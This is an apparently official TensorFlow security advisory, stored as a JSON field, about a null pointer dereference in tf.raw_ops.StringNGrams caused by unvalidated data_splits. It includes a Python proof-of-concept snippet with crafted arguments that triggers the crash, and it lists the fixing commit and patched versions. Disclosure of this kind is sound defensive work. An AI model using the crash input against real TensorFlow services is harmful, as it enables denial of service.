"details": "### Impact\nAn attacker can trigger a dereference of a null pointer in `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\ndata=tf.constant([\u0027\u0027] * 11, shape=[11], dtype=tf.string)\n\nsplits = [0]*115\nsplits.append(3)\ndata_splits=tf.constant(splits, shape=[116], dtype=tf.int64)\n\ntf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b\u0027Ss\u0027,\n ngram_widths=[7,6,11],\n left_pad=\u0027ABCDE\u0027, right_pad=b\u0027ZYXWVU\u0027,\n pad_width=50, preserve_short_sequences=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L67-L74) does not fully validate the `data_splits` argument. This would result in [`ngrams_data`](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L106-L110) to be a null pointer when the output would be computed to have 0 or negative size.\n\nLater writes to the output tensor would then cause a null pointer dereference.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
